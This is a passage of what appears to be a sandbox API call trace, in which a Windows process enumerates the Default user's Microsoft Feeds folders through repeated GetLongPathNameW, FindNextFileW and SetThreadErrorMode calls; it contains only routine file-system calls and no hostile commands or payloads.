lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0095.758] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.758] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.758] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.758] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.758] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.758] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0095.759] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0095.759] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0095.761] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.761] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.762] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.762] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.762] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.762] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0095.763] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0095.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0095.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0095.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.764] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0095.765] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0095.765] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.767] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.767] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.767] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.767] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe438, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.767] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe438, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0095.816] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe438, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0095.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0095.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0095.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0095.818] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.818] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0095.819] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0095.819] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.820] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0095.821] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0095.821] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0095.821] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0095.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0095.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0095.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0095.822] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.822] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0095.823] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0095.823] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.824] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0095.825] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0095.825] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0095.825] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0095.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0095.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0095.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.825] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0095.826] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0095.826] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.828] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.829] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.905] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0095.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0095.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.907] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0095.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0095.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.908] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0095.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0095.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.954] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0095.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0095.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0095.955] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0095.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0095.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0095.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.956] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0096.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0096.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0096.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0096.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0096.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.009] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.010] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0096.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0096.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0096.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0096.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0096.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0096.077] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0096.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0096.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0096.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0096.078] SetThreadErrorMode 